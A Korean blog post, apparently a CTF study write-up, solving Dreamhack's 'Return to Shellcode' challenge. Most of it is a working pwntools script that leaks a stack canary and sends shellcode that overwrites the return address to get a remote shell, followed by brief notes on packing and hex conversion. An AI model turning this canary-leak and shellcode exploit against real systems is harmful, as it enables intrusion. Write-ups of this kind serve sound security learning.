Return to Shellcode

곽무경·2022년 7월 1일

System Hacking Quiz

목록 보기
10/21

예제와 같은 문제이다.
첫번째 입력에서 카나리를 알아내고, 두번째 입력에서 셸코드를 보낸다.

from pwn import *

context.log_level='debug'
p=remote("host3.dreamhack.games", 13366)

context.arch="amd64"

#get buffer address
p.recvuntil(b"buf: ")
bufaddress=int(str(p.recvn(14), "utf"),16)         # 버퍼 주소를 받아와서 16진수로 저장

#get difference between buffer & SFP, canary
p.recvuntil(b"rbp: ")
buf2s=int(str(p.recvline(),"utf"))                 # 버퍼와 SFP 주소 차이를 받아와서 16진수로 저장
buf2cnry=buf2s-8                                   # 카나리가 8바이트이므로

#get canary
p.sendafter(b"Input: ", b"A"*(buf2cnry+1))         # A를 버퍼와 카나리 사이의 널문자 까지 보냄
p.recvuntil(b"Your input is '")
p.recvn(buf2cnry+1)                                # 앞에 쓸데없는 내용 받아서 버리기
canary=u64(b"\x00"+p.recvn(7))                     # 7바이트의 카나리 받아와서 앞에 00 붙이기

#exploit
shellcode=asm(shellcraft.sh()).ljust(buf2cnry, b'A')  # 앞부분은 셸코드로, 뒷부분은 A로 채우기
shellcode+=p64(canary)                                # 카나리 붙이기
shellcode+=b'B'*0x8                                   # SFP 자리에는 아무거나 붙이기
shellcode+=p64(bufaddress)                            # 반환 주소 자리에는 버퍼 주소 붙이기
p.sendlineafter(b"Input: ", shellcode)                # 셸코드 전송
p.interactive()                                       # 셸 획득 후 상호작용

hex는 숫자를 받아와서 숫자가 아닌 문자열로 표현하는 함수이다.
항상 int형으로...
canary는 리틀 엔디언 방식에서 가져오는 것이므로 언패킹해서 저장한다.
프로세스에 전송할때는 다시 패킹해서 보낸다.

0개의 댓글